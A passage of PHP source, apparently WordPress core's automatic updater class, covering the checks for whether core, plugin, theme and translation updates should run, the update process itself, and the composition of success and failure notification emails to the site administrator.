				$checkout = is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" );
				if ( $checkout ) {
					break 2;
				}
			}
		}

		/**
		 * Filters whether the automatic updater should consider a filesystem
		 * location to be potentially managed by a version control system.
		 *
		 * @since 3.7.0
		 *
		 * @param bool $checkout  Whether a VCS checkout was discovered at `$context`
		 *                        or ABSPATH, or anywhere higher.
		 * @param string $context The filesystem context (a path) against which
		 *                        filesystem status should be checked.
		 */
		return apply_filters( 'automatic_updates_is_vcs_checkout', $checkout, $context );
	}

	/**
	 * Tests to see if we can and should update a specific item.
	 *
	 * @since 3.7.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $type    The type of update being checked: 'core', 'theme',
	 *                        'plugin', 'translation'.
	 * @param object $item    The update offer.
	 * @param string $context The filesystem context (a path) against which filesystem
	 *                        access and status should be checked.
	 * @return bool True if the item should be updated, false otherwise.
	 */
	public function should_update( $type, $item, $context ) {
		// Used to see if WP_Filesystem is set up to allow unattended updates.
		$skin = new Automatic_Upgrader_Skin();

		if ( $this->is_disabled() ) {
			return false;
		}

		// Only relax the filesystem checks when the update doesn't include new files.
		$allow_relaxed_file_ownership = false;
		if ( 'core' === $type && isset( $item->new_files ) && ! $item->new_files ) {
			$allow_relaxed_file_ownership = true;
		}

		// If we can't do an auto core update, we may still be able to email the user.
		if ( ! $skin->request_filesystem_credentials( false, $context, $allow_relaxed_file_ownership )
			|| $this->is_vcs_checkout( $context )
		) {
			if ( 'core' === $type ) {
				$this->send_core_update_notification_email( $item );
			}
			return false;
		}

		// Next up, is this an item we can update?
		if ( 'core' === $type ) {
			$update = Core_Upgrader::should_update_to_version( $item->current );
		} elseif ( 'plugin' === $type || 'theme' === $type ) {
			$update = ! empty( $item->autoupdate );

			if ( ! $update && wp_is_auto_update_enabled_for_type( $type ) ) {
				// Check if the site admin has enabled auto-updates by default for the specific item.
				$auto_updates = (array) get_site_option( "auto_update_{$type}s", array() );
				$update       = in_array( $item->{$type}, $auto_updates, true );
			}
		} else {
			$update = ! empty( $item->autoupdate );
		}

		// If the `disable_autoupdate` flag is set, override any user-choice, but allow filters.
		if ( ! empty( $item->disable_autoupdate ) ) {
			$update = $item->disable_autoupdate;
		}

		/**
		 * Filters whether to automatically update core, a plugin, a theme, or a language.
		 *
		 * The dynamic portion of the hook name, `$type`, refers to the type of update
		 * being checked.
		 *
		 * Possible hook names include:
		 *
		 *  - `auto_update_core`
		 *  - `auto_update_plugin`
		 *  - `auto_update_theme`
		 *  - `auto_update_translation`
		 *
		 * Since WordPress 3.7, minor and development versions of core, and translations have
		 * been auto-updated by default. New installs on WordPress 5.6 or higher will also
		 * auto-update major versions by default. Starting in 5.6, older sites can opt-in to
		 * major version auto-updates, and auto-updates for plugins and themes.
		 *
		 * See the {@see 'allow_dev_auto_core_updates'}, {@see 'allow_minor_auto_core_updates'},
		 * and {@see 'allow_major_auto_core_updates'} filters for a more straightforward way to
		 * adjust core updates.
		 *
		 * @since 3.7.0
		 * @since 5.5.0 The `$update` parameter accepts the value of null.
		 *
		 * @param bool|null $update Whether to update. The value of null is internally used
		 *                          to detect whether nothing has hooked into this filter.
		 * @param object    $item   The update offer.
		 */
		$update = apply_filters( "auto_update_{$type}", $update, $item );

		if ( ! $update ) {
			if ( 'core' === $type ) {
				$this->send_core_update_notification_email( $item );
			}
			return false;
		}

		// If it's a core update, are we actually compatible with its requirements?
		if ( 'core' === $type ) {
			global $wpdb;

			$php_compat = version_compare( PHP_VERSION, $item->php_version, '>=' );
			if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) {
				$mysql_compat = true;
			} else {
				$mysql_compat = version_compare( $wpdb->db_version(), $item->mysql_version, '>=' );
			}

			if ( ! $php_compat || ! $mysql_compat ) {
				return false;
			}
		}

		// If updating a plugin or theme, ensure the minimum PHP version requirements are satisfied.
		if ( in_array( $type, array( 'plugin', 'theme' ), true ) ) {
			if ( ! empty( $item->requires_php ) && version_compare( PHP_VERSION, $item->requires_php, '<' ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Notifies an administrator of a core update.
	 *
	 * @since 3.7.0
	 *
	 * @param object $item The update offer.
	 * @return bool True if the site administrator is notified of a core update,
	 *              false otherwise.
	 */
	protected function send_core_update_notification_email( $item ) {
		$notified = get_site_option( 'auto_core_update_notified' );

		// Don't notify if we've already notified the same email address of the same version.
		if ( $notified
			&& get_site_option( 'admin_email' ) === $notified['email']
			&& $notified['version'] === $item->current
		) {
			return false;
		}

		// See if we need to notify users of a core update.
		$notify = ! empty( $item->notify_email );

		/**
		 * Filters whether to notify the site administrator of a new core update.
		 *
		 * By default, administrators are notified when the update offer received
		 * from WordPress.org sets a particular flag. This allows some discretion
		 * in if and when to notify.
		 *
		 * This filter is only evaluated once per release. If the same email address
		 * was already notified of the same new version, WordPress won't repeatedly
		 * email the administrator.
		 *
		 * This filter is also used on about.php to check if a plugin has disabled
		 * these notifications.
		 *
		 * @since 3.7.0
		 *
		 * @param bool   $notify Whether the site administrator is notified.
		 * @param object $item   The update offer.
		 */
		if ( ! apply_filters( 'send_core_update_notification_email', $notify, $item ) ) {
			return false;
		}

		$this->send_email( 'manual', $item );
		return true;
	}

	/**
	 * Updates an item, if appropriate.
	 *
	 * @since 3.7.0
	 *
	 * @param string $type The type of update being checked: 'core', 'theme', 'plugin', 'translation'.
	 * @param object $item The update offer.
	 * @return null|WP_Error
	 */
	public function update( $type, $item ) {
		$skin = new Automatic_Upgrader_Skin();

		switch ( $type ) {
			case 'core':
				// The Core upgrader doesn't use the Upgrader's skin during the actual main part of the upgrade, instead, firing a filter.
				add_filter( 'update_feedback', array( $skin, 'feedback' ) );
				$upgrader = new Core_Upgrader( $skin );
				$context  = ABSPATH;
				break;
			case 'plugin':
				$upgrader = new Plugin_Upgrader( $skin );
				$context  = WP_PLUGIN_DIR; // We don't support custom Plugin directories, or updates for WPMU_PLUGIN_DIR.
				break;
			case 'theme':
				$upgrader = new Theme_Upgrader( $skin );
				$context  = get_theme_root( $item->theme );
				break;
			case 'translation':
				$upgrader = new Language_Pack_Upgrader( $skin );
				$context  = WP_CONTENT_DIR; // WP_LANG_DIR;
				break;
		}

		// Determine whether we can and should perform this update.
		if ( ! $this->should_update( $type, $item, $context ) ) {
			return false;
		}

		/**
		 * Fires immediately prior to an auto-update.
		 *
		 * @since 4.4.0
		 *
		 * @param string $type    The type of update being checked: 'core', 'theme', 'plugin', or 'translation'.
		 * @param object $item    The update offer.
		 * @param string $context The filesystem context (a path) against which filesystem access and status
		 *                        should be checked.
		 */
		do_action( 'pre_auto_update', $type, $item, $context );

		$upgrader_item = $item;
		switch ( $type ) {
			case 'core':
				/* translators: %s: WordPress version. */
				$skin->feedback( __( 'Updating to WordPress %s' ), $item->version );
				/* translators: %s: WordPress version. */
				$item_name = sprintf( __( 'WordPress %s' ), $item->version );
				break;
			case 'theme':
				$upgrader_item = $item->theme;
				$theme         = wp_get_theme( $upgrader_item );
				$item_name     = $theme->Get( 'Name' );
				// Add the current version so that it can be reported in the notification email.
				$item->current_version = $theme->get( 'Version' );
				if ( empty( $item->current_version ) ) {
					$item->current_version = false;
				}
				/* translators: %s: Theme name. */
				$skin->feedback( __( 'Updating theme: %s' ), $item_name );
				break;
			case 'plugin':
				$upgrader_item = $item->plugin;
				$plugin_data   = get_plugin_data( $context . '/' . $upgrader_item );
				$item_name     = $plugin_data['Name'];
				// Add the current version so that it can be reported in the notification email.
				$item->current_version = $plugin_data['Version'];
				if ( empty( $item->current_version ) ) {
					$item->current_version = false;
				}
				/* translators: %s: Plugin name. */
				$skin->feedback( __( 'Updating plugin: %s' ), $item_name );
				break;
			case 'translation':
				$language_item_name = $upgrader->get_name_for_update( $item );
				/* translators: %s: Project name (plugin, theme, or WordPress). */
				$item_name = sprintf( __( 'Translations for %s' ), $language_item_name );
				/* translators: 1: Project name (plugin, theme, or WordPress), 2: Language. */
				$skin->feedback( sprintf( __( 'Updating translations for %1$s (%2$s)&#8230;' ), $language_item_name, $item->language ) );
				break;
		}

		$allow_relaxed_file_ownership = false;
		if ( 'core' === $type && isset( $item->new_files ) && ! $item->new_files ) {
			$allow_relaxed_file_ownership = true;
		}

		// Boom, this site's about to get a whole new splash of paint!
		$upgrade_result = $upgrader->upgrade(
			$upgrader_item,
			array(
				'clear_update_cache'           => false,
				// Always use partial builds if possible for core updates.
				'pre_check_md5'                => false,
				// Only available for core updates.
				'attempt_rollback'             => true,
				// Allow relaxed file ownership in some scenarios.
				'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership,
			)
		);

		// If the filesystem is unavailable, false is returned.
		if ( false === $upgrade_result ) {
			$upgrade_result = new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
		}

		if ( 'core' === $type ) {
			if ( is_wp_error( $upgrade_result )
				&& ( 'up_to_date' === $upgrade_result->get_error_code()
					|| 'locked' === $upgrade_result->get_error_code() )
			) {
				/*
				 * These aren't actual errors, treat it as a skipped-update instead
				 * to avoid triggering the post-core update failure routines.
				 */
				return false;
			}

			// Core doesn't output this, so let's append it, so we don't get confused.
			if ( is_wp_error( $upgrade_result ) ) {
				$upgrade_result->add( 'installation_failed', __( 'Installation failed.' ) );
				$skin->error( $upgrade_result );
			} else {
				$skin->feedback( __( 'WordPress updated successfully.' ) );
			}
		}

		$this->update_results[ $type ][] = (object) array(
			'item'     => $item,
			'result'   => $upgrade_result,
			'name'     => $item_name,
			'messages' => $skin->get_upgrade_messages(),
		);

		return $upgrade_result;
	}

	/**
	 * Kicks off the background update process, looping through all pending updates.
	 *
	 * @since 3.7.0
	 */
	public function run() {
		if ( $this->is_disabled() ) {
			return;
		}

		if ( ! is_main_network() || ! is_main_site() ) {
			return;
		}

		if ( ! WP_Upgrader::create_lock( 'auto_updater' ) ) {
			return;
		}

		// Don't automatically run these things, as we'll handle it ourselves.
		remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
		remove_action( 'upgrader_process_complete', 'wp_version_check' );
		remove_action( 'upgrader_process_complete', 'wp_update_plugins' );
		remove_action( 'upgrader_process_complete', 'wp_update_themes' );

		// Next, plugins.
		wp_update_plugins(); // Check for plugin updates.
		$plugin_updates = get_site_transient( 'update_plugins' );
		if ( $plugin_updates && ! empty( $plugin_updates->response ) ) {
			foreach ( $plugin_updates->response as $plugin ) {
				$this->update( 'plugin', $plugin );
			}
			// Force refresh of plugin update information.
			wp_clean_plugins_cache();
		}

		// Next, those themes we all love.
		wp_update_themes();  // Check for theme updates.
		$theme_updates = get_site_transient( 'update_themes' );
		if ( $theme_updates && ! empty( $theme_updates->response ) ) {
			foreach ( $theme_updates->response as $theme ) {
				$this->update( 'theme', (object) $theme );
			}
			// Force refresh of theme update information.
			wp_clean_themes_cache();
		}

		// Next, process any core update.
		wp_version_check(); // Check for core updates.
		$core_update = find_core_auto_update();

		if ( $core_update ) {
			$this->update( 'core', $core_update );
		}

		/*
		 * Clean up, and check for any pending translations.
		 * (Core_Upgrader checks for core updates.)
		 */
		$theme_stats = array();
		if ( isset( $this->update_results['theme'] ) ) {
			foreach ( $this->update_results['theme'] as $upgrade ) {
				$theme_stats[ $upgrade->item->theme ] = ( true === $upgrade->result );
			}
		}
		wp_update_themes( $theme_stats ); // Check for theme updates.

		$plugin_stats = array();
		if ( isset( $this->update_results['plugin'] ) ) {
			foreach ( $this->update_results['plugin'] as $upgrade ) {
				$plugin_stats[ $upgrade->item->plugin ] = ( true === $upgrade->result );
			}
		}
		wp_update_plugins( $plugin_stats ); // Check for plugin updates.

		// Finally, process any new translations.
		$language_updates = wp_get_translation_updates();
		if ( $language_updates ) {
			foreach ( $language_updates as $update ) {
				$this->update( 'translation', $update );
			}

			// Clear existing caches.
			wp_clean_update_cache();

			wp_version_check();  // Check for core updates.
			wp_update_themes();  // Check for theme updates.
			wp_update_plugins(); // Check for plugin updates.
		}

		// Send debugging email to admin for all development installations.
		if ( ! empty( $this->update_results ) ) {
			$development_version = str_contains( get_bloginfo( 'version' ), '-' );

			/**
			 * Filters whether to send a debugging email for each automatic background update.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $development_version By default, emails are sent if the
			 *                                  install is a development version.
			 *                                  Return false to avoid the email.
			 */
			if ( apply_filters( 'automatic_updates_send_debug_email', $development_version ) ) {
				$this->send_debug_email();
			}

			if ( ! empty( $this->update_results['core'] ) ) {
				$this->after_core_update( $this->update_results['core'][0] );
			} elseif ( ! empty( $this->update_results['plugin'] ) || ! empty( $this->update_results['theme'] ) ) {
				$this->after_plugin_theme_update( $this->update_results );
			}

			/**
			 * Fires after all automatic updates have run.
			 *
			 * @since 3.8.0
			 *
			 * @param array $update_results The results of all attempted updates.
			 */
			do_action( 'automatic_updates_complete', $this->update_results );
		}

		WP_Upgrader::release_lock( 'auto_updater' );
	}

	/**
	 * Checks whether to send an email and avoid processing future updates after
	 * attempting a core update.
	 *
	 * @since 3.7.0
	 *
	 * @param object $update_result The result of the core update. Includes the update offer and result.
	 */
	protected function after_core_update( $update_result ) {
		$wp_version = get_bloginfo( 'version' );

		$core_update = $update_result->item;
		$result      = $update_result->result;

		if ( ! is_wp_error( $result ) ) {
			$this->send_email( 'success', $core_update );
			return;
		}

		$error_code = $result->get_error_code();

		/*
		 * Any of these WP_Error codes are critical failures, as in they occurred after we started to copy core files.
		 * We should not try to perform a background update again until there is a successful one-click update performed by the user.
		 */
		$critical = false;
		if ( 'disk_full' === $error_code || str_contains( $error_code, '__copy_dir' ) ) {
			$critical = true;
		} elseif ( 'rollback_was_required' === $error_code && is_wp_error( $result->get_error_data()->rollback ) ) {
			// A rollback is only critical if it failed too.
			$critical        = true;
			$rollback_result = $result->get_error_data()->rollback;
		} elseif ( str_contains( $error_code, 'do_rollback' ) ) {
			$critical = true;
		}

		if ( $critical ) {
			$critical_data = array(
				'attempted'  => $core_update->current,
				'current'    => $wp_version,
				'error_code' => $error_code,
				'error_data' => $result->get_error_data(),
				'timestamp'  => time(),
				'critical'   => true,
			);
			if ( isset( $rollback_result ) ) {
				$critical_data['rollback_code'] = $rollback_result->get_error_code();
				$critical_data['rollback_data'] = $rollback_result->get_error_data();
			}
			update_site_option( 'auto_core_update_failed', $critical_data );
			$this->send_email( 'critical', $core_update, $result );
			return;
		}

		/*
		 * Any other WP_Error code (like download_failed or files_not_writable) occurs before
		 * we tried to copy over core files. Thus, the failures are early and graceful.
		 *
		 * We should avoid trying to perform a background update again for the same version.
		 * But we can try again if another version is released.
		 *
		 * For certain 'transient' failures, like download_failed, we should allow retries.
		 * In fact, let's schedule a special update for an hour from now. (It's possible
		 * the issue could actually be on WordPress.org's side.) If that one fails, then email.
		 */
		$send               = true;
		$transient_failures = array( 'incompatible_archive', 'download_failed', 'insane_distro', 'locked' );
		if ( in_array( $error_code, $transient_failures, true ) && ! get_site_option( 'auto_core_update_failed' ) ) {
			wp_schedule_single_event( time() + HOUR_IN_SECONDS, 'wp_maybe_auto_update' );
			$send = false;
		}

		$notified = get_site_option( 'auto_core_update_notified' );

		// Don't notify if we've already notified the same email address of the same version of the same notification type.
		if ( $notified
			&& 'fail' === $notified['type']
			&& get_site_option( 'admin_email' ) === $notified['email']
			&& $notified['version'] === $core_update->current
		) {
			$send = false;
		}

		update_site_option(
			'auto_core_update_failed',
			array(
				'attempted'  => $core_update->current,
				'current'    => $wp_version,
				'error_code' => $error_code,
				'error_data' => $result->get_error_data(),
				'timestamp'  => time(),
				'retry'      => in_array( $error_code, $transient_failures, true ),
			)
		);

		if ( $send ) {
			$this->send_email( 'fail', $core_update, $result );
		}
	}

	/**
	 * Sends an email upon the completion or failure of a background core update.
	 *
	 * @since 3.7.0
	 *
	 * @param string $type        The type of email to send. Can be one of 'success', 'fail', 'manual', 'critical'.
	 * @param object $core_update The update offer that was attempted.
	 * @param mixed  $result      Optional. The result for the core update. Can be WP_Error.
	 */
	protected function send_email( $type, $core_update, $result = null ) {
		update_site_option(
			'auto_core_update_notified',
			array(
				'type'      => $type,
				'email'     => get_site_option( 'admin_email' ),
				'version'   => $core_update->current,
				'timestamp' => time(),
			)
		);

		$next_user_core_update = get_preferred_from_update_core();

		// If the update transient is empty, use the update we just performed.
		if ( ! $next_user_core_update ) {
			$next_user_core_update = $core_update;
		}

		if ( 'upgrade' === $next_user_core_update->response
			&& version_compare( $next_user_core_update->version, $core_update->version, '>' )
		) {
			$newer_version_available = true;
		} else {
			$newer_version_available = false;
		}

		/**
		 * Filters whether to send an email following an automatic background core update.
		 *
		 * @since 3.7.0
		 *
		 * @param bool   $send        Whether to send the email. Default true.
		 * @param string $type        The type of email to send. Can be one of
		 *                            'success', 'fail', 'critical'.
		 * @param object $core_update The update offer that was attempted.
		 * @param mixed  $result      The result for the core update. Can be WP_Error.
		 */
		if ( 'manual' !== $type && ! apply_filters( 'auto_core_update_send_email', true, $type, $core_update, $result ) ) {
			return;
		}

		switch ( $type ) {
			case 'success': // We updated.
				/* translators: Site updated notification email subject. 1: Site title, 2: WordPress version. */
				$subject = __( '[%1$s] Your site has updated to WordPress %2$s' );
				break;

			case 'fail':   // We tried to update but couldn't.
			case 'manual': // We can't update (and made no attempt).
				/* translators: Update available notification email subject. 1: Site title, 2: WordPress version. */
				$subject = __( '[%1$s] WordPress %2$s is available. Please update!' );
				break;

			case 'critical': // We tried to update, started to copy files, then things went wrong.
				/* translators: Site down notification email subject. 1: Site title. */
				$subject = __( '[%1$s] URGENT: Your site may be down due to a failed update' );
				break;

			default:
				return;
		}

		// If the auto-update is not to the latest version, say that the current version of WP is available instead.
		$version = 'success' === $type ? $core_update->current : $next_user_core_update->current;
		$subject = sprintf( $subject, wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $version );

		$body = '';

		switch ( $type ) {
			case 'success':
				$body .= sprintf(
					/* translators: 1: Home URL, 2: WordPress version. */
					__( 'Howdy! Your site at %1$s has been updated automatically to WordPress %2$s.' ),
					home_url(),
					$core_update->current
				);
				$body .= "\n\n";
				if ( ! $newer_version_available ) {
					$body .= __( 'No further action is needed on your part.' ) . ' ';
				}

				// Can only reference the About screen if their update was successful.
				list( $about_version ) = explode( '-', $core_update->current, 2 );
				/* translators: %s: WordPress version. */
				$body .= sprintf( __( 'For more on version %s, see the About WordPress screen:' ), $about_version );
				$body .= "\n" . admin_url( 'about.php' );

				if ( $newer_version_available ) {
					/* translators: %s: WordPress latest version. */
					$body .= "\n\n" . sprintf( __( 'WordPress %s is also now available.' ), $next_user_core_update->current ) . ' ';
					$body .= __( 'Updating is easy and only takes a few moments:' );
					$body .= "\n" . network_admin_url( 'update-core.php' );
				}

				break;

			case 'fail':
			case 'manual':
				$body .= sprintf(
					/* translators: 1: Home URL, 2: WordPress version. */
					__( 'Please update your site at %1$s to WordPress %2$s.' ),
					home_url(),
					$next_user_core_update->current
				);

				$body .= "\n\n";

				/*
				 * Don't show this message if there is a newer version available.
				 * Potential for confusion, and also not useful for them to know at this point.
				 */
				if ( 'fail' === $type && ! $newer_version_available ) {
					$body .= __( 'An attempt was made, but your site could not be updated automatically.' ) . ' ';
				}

				$body .= __( 'Updating is easy and only takes a few moments:' );
				$body .= "\n" . network_admin_url( 'update-core.php' );
				break;

			case 'critical':
				if ( $newer_version_available ) {
					$body .= sprintf(
						/* translators: 1: Home URL, 2: WordPress version. */
						__( 'Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s.' ),
						home_url(),
						$core_update->current
					);
				} else {
					$body .= sprintf(
						/* translators: 1: Home URL, 2: WordPress latest version. */
						__( 'Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s.' ),
						home_url(),
						$core_update->current
					);
				}

				$body .= "\n\n" . __( "This means your site may be offline or broken. Don't panic; this can be fixed." );

				$body .= "\n\n" . __( "Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:" );
				$body .= "\n" . network_admin_url( 'update-core.php' );
				break;
		}

		$critical_support = 'critical' === $type && ! empty( $core_update->support_email );
		if ( $critical_support ) {
			// Support offer if available.
			$body .= "\n\n" . sprintf(
				/* translators: %s: Support email address. */
				__( 'The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working.' ),
				$core_update->support_email
			);
		} else {
			// Add a note about the support forums.
			$body .= "\n\n" . __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' );
			$body .= "\n" . __( 'https://wordpress.org/support/forums/' );
		}

		// Updates are important!
		if ( 'success' !== $type || $newer_version_available ) {
			$body .= "\n\n" . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' );
		}

		if ( $critical_support ) {
			$body .= ' ' . __( "Reach out to WordPress Core developers to ensure you'll never have this problem again." );
		}

		// If things are successful and we're now on the latest, mention plugins and themes if any are out of date.
		if ( 'success' === $type && ! $newer_version_available && ( get_plugin_updates() || get_theme_updates() ) ) {
			$body .= "\n\n" . __( 'You also have some plugins or themes with updates available. Update them now:' );
			$body .= "\n" . network_admin_url();
		}

		$body .= "\n\n" . __( 'The WordPress Team' ) . "\n";

		if ( 'critical' === $type && is_wp_error( $result ) ) {
			$body .= "\n***\n\n";
			/* translators: %s: WordPress version. */
			$body .= sprintf( __( 'Your site was running version %s.' ), get_bloginfo( 'version' ) );
			$body .= ' ' . __( 'Some data that describes the error your site encountered has been put together.' );
			$body .= ' ' . __( 'Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:' );

			/*
			 * If we had a rollback and we're still critical, then the rollback failed too.
			 * Loop through all errors (the main WP_Error, the update result, the rollback result) for code, data, etc.
			 */
			if ( 'rollback_was_required' === $result->get_error_code() ) {
				$errors = array( $result, $result->get_error_data()->update, $result->get_error_data()->rollback );
			} else {
				$errors = array( $result );
			}

			foreach ( $errors as $error ) {
				if ( ! is_wp_error( $error ) ) {
					continue;
				}

				$error_code = $error->get_error_code();
				/* translators: %s: Error code. */
				$body .= "\n\n" . sprintf( __( 'Error code: %s' ), $error_code );

				if ( 'rollback_was_required' === $error_code ) {
					continue;
				}

				if ( $error->get_error_message() ) {
					$body .= "\n" . $error->get_error_message();
				}

				$error_data = $error->get_error_data();
				if ( $error_data ) {
					$body .= "\n" . implode( ', ', (array) $error_data );
				}
			}

			$body .= "\n";
		}

		$to      = get_site_option( 'admin_email' );
		$headers = '';

		$email = compact( 'to', 'subject', 'body', 'headers' );

		/**
		 * Filters the email sent following an automatic background core update.
		 *
		 * @since 3.7.0
		 *
		 * @param array $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                            can be returned, as handled by wp_mail().
		 *     @type string $subject The email's subject.
		 *     @type string $body    The email message body.
		 *     @type string $headers Any email headers, defaults to no headers.
		 * }
		 * @param string $type        The type of email being sent. Can be one of
		 *                            'success', 'fail', 'manual', 'critical'.
		 * @param object $core_update The update offer that was attempted.
		 * @param mixed  $result      The result for the core update. Can be WP_Error.
		 */
		$email = apply_filters( 'auto_core_update_email', $email, $type, $core_update, $result );

		wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
	}


	/**
	 * Checks whether an email should be sent after attempting plugin or theme updates.
	 *
	 * @since 5.5.0
	 *
	 * @param array $update_results The results of update tasks.
	 */
	protected function after_plugin_theme_update( $update_results ) {
		$successful_updates = array();
		$failed_updates     = array();

		if ( ! empty( $update_results['plugin'] ) ) {
			/**
			 * Filters whether to send an email following an automatic background plugin update.
			 *
			 * @since 5.5.0
			 * @since 5.5.1 Added the `$update_results` parameter.
			 *
			 * @param bool  $enabled        True if plugin update notifications are enabled, false otherwise.
			 * @param array $update_results The results of plugins update tasks.
			 */
			$notifications_enabled = apply_filters( 'auto_plugin_update_send_email', true, $update_results['plugin'] );

			if ( $notifications_enabled ) {
				foreach ( $update_results['plugin'] as $update_result ) {
					if ( true === $update_result->result ) {
						$successful_updates['plugin'][] = $update_result;
					} else {
						$failed_updates['plugin'][] = $update_result;
					}
				}
			}
		}

		if ( ! empty( $update_results['theme'] ) ) {
			/**
			 * Filters whether to send an email following an automatic background theme update.
			 *
			 * @since 5.5.0
			 * @since 5.5.1 Added the `$update_results` parameter.
			 *
			 * @param bool  $enabled        True if theme update notifications are enabled, false otherwise.
			 * @param array $update_results The results of theme update tasks.
			 */
			$notifications_enabled = apply_filters( 'auto_theme_update_send_email', true, $update_results['theme'] );

			if ( $notifications_enabled ) {
				foreach ( $update_results['theme'] as $update_result ) {
					if ( true === $update_result->result ) {
						$successful_updates['theme'][] = $update_result;
					} else {
						$failed_updates['theme'][] = $update_result;
					}
				}
			}
		}

		if ( empty( $successful_updates ) && empty( $failed_updates ) ) {
			return;
		}

		if ( empty( $failed_updates ) ) {
			$this->send_plugin_theme_email( 'success', $successful_updates, $failed_updates );
		} elseif ( empty( $successful_updates ) ) {
			$this->send_plugin_theme_email( 'fail', $successful_updates, $failed_updates );
		} else {
			$this->send_plugin_theme_email( 'mixed', $successful_updates, $failed_updates );
		}
	}

	/**
	 * Sends an email upon the completion or failure of a plugin or theme background update.
	 *
	 * @since 5.5.0
	 *
	 * @param string $type               The type of email to send. Can be one of 'success', 'fail', 'mixed'.
	 * @param array  $successful_updates A list of updates that succeeded.
	 * @param array  $failed_updates     A list of updates that failed.
	 */
	protected function send_plugin_theme_email( $type, $successful_updates, $failed_updates ) {
		// No updates were attempted.
		if ( empty( $successful_updates ) && empty( $failed_updates ) ) {
			return;
		}

		$unique_failures     = false;
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		/*
		 * When only failures have occurred, an email should only be sent if there are unique failures.
		 * A failure is considered unique if an email has not been sent for an update attempt failure
		 * to a plugin or theme with the same new_version.
		 */
		if ( 'fail' === $type ) {
			foreach ( $failed_updates as $update_type => $failures ) {
				foreach ( $failures as $failed_update ) {
					if ( ! isset( $past_failure_emails[ $failed_update->item->{$update_type} ] ) ) {
						$unique_failures = true;
						continue;
					}

					// Check that the failure represents a new failure based on the new_version.
					if ( version_compare( $past_failure_emails[ $failed_update->item->{$update_type} ], $failed_update->item->new_version, '<' ) ) {
						$unique_failures = true;
					}
				}
			}

			if ( ! $unique_failures ) {
				return;
			}
		}

		$body               = array();
		$successful_plugins = ( ! empty( $successful_updates['plugin'] ) );
		$successful_themes  = ( ! empty( $successful_updates['theme'] ) );
		$failed_plugins     = ( ! empty( $failed_updates['plugin'] ) );
		$failed_themes      = ( ! empty( $failed_updates['theme'] ) );

		switch ( $type ) {
			case 'success':
				if ( $successful_plugins && $successful_themes ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins and themes have automatically updated' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Some plugins and themes have automatically updated to their latest versions on your site at %s. No further action is needed on your part.' ),
						home_url()
					);
				} elseif ( $successful_plugins ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins were automatically updated' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Some plugins have automatically updated to their latest versions on your site at %s. No further action is needed on your part.' ),
						home_url()
					);
				} else {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some themes were automatically updated' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Some themes have automatically updated to their latest versions on your site at %s. No further action is needed on your part.' ),
						home_url()
					);
				}

				break;
			case 'fail':
			case 'mixed':
				if ( $failed_plugins && $failed_themes ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins and themes have failed to update' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Plugins and themes failed to update on your site at %s.' ),
						home_url()
					);
				} elseif ( $failed_plugins ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins have failed to update' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Plugins failed to update on your site at %s.' ),
						home_url()
					);
				} else {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some themes have failed to update' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Themes failed to update on your site at %s.' ),
						home_url()
					);
				}

				break;
		}

		if ( in_array( $type, array( 'fail', 'mixed' ), true ) ) {
			$body[] = "\n";
			$body[] = __( 'Please check your site now. It’s possible that everything is working. If there are updates available, you should update.' );
			$body[] = "\n";

			// List failed plugin updates.
			if ( ! empty( $failed_updates['plugin'] ) ) {
				$body[] = __( 'These plugins failed to update:' );

				foreach ( $failed_updates['plugin'] as $item ) {
					$body_message = '';
					$item_url     = '';

					if ( ! empty( $item->item->url ) ) {
						$item_url = ' : ' . esc_url( $item->item->url );
					}

					if ( $item->item->current_version ) {
						$body_message .= sprintf(
							/* translators: 1: Plugin name, 2: Current version number, 3: New version number, 4: Plugin URL. */
							__( '- %1$s (from version %2$s to %3$s)%4$s' ),
							html_entity_decode( $item->name ),
							$item->item->current_version,
							$item->item->new_version,
							$item_url
						);
					} else {
						$body_message .= sprintf(
							/* translators: 1: Plugin name, 2: Version number, 3: Plugin URL. */
							__( '- %1$s version %2$s%3$s' ),
							html_entity_decode( $item->name ),
							$item->item->new_version,
							$item_url
						);
					}

					$body[] = $body_message;

					$past_failure_emails[ $item->item->plugin ] = $item->item->new_version;
				}

				$body[] = "\n";
			}

			// List failed theme updates.
			if ( ! empty( $failed_updates['theme'] ) ) {
				$body[] = __( 'These themes failed to update:' );

				foreach ( $failed_updates['theme'] as $item ) {
					if ( $item->item->current_version ) {
						$body[] = sprintf(
							/* translators: 1: Theme name, 2: Current version number, 3: New version number. */
							__( '- %1$s (from version %2$s to %3$s)' ),
							html_entity_decode( $item->name ),
							$item->item->current_version,
							$item->item->new_version
						);
					} else {
						$body[] = sprintf(
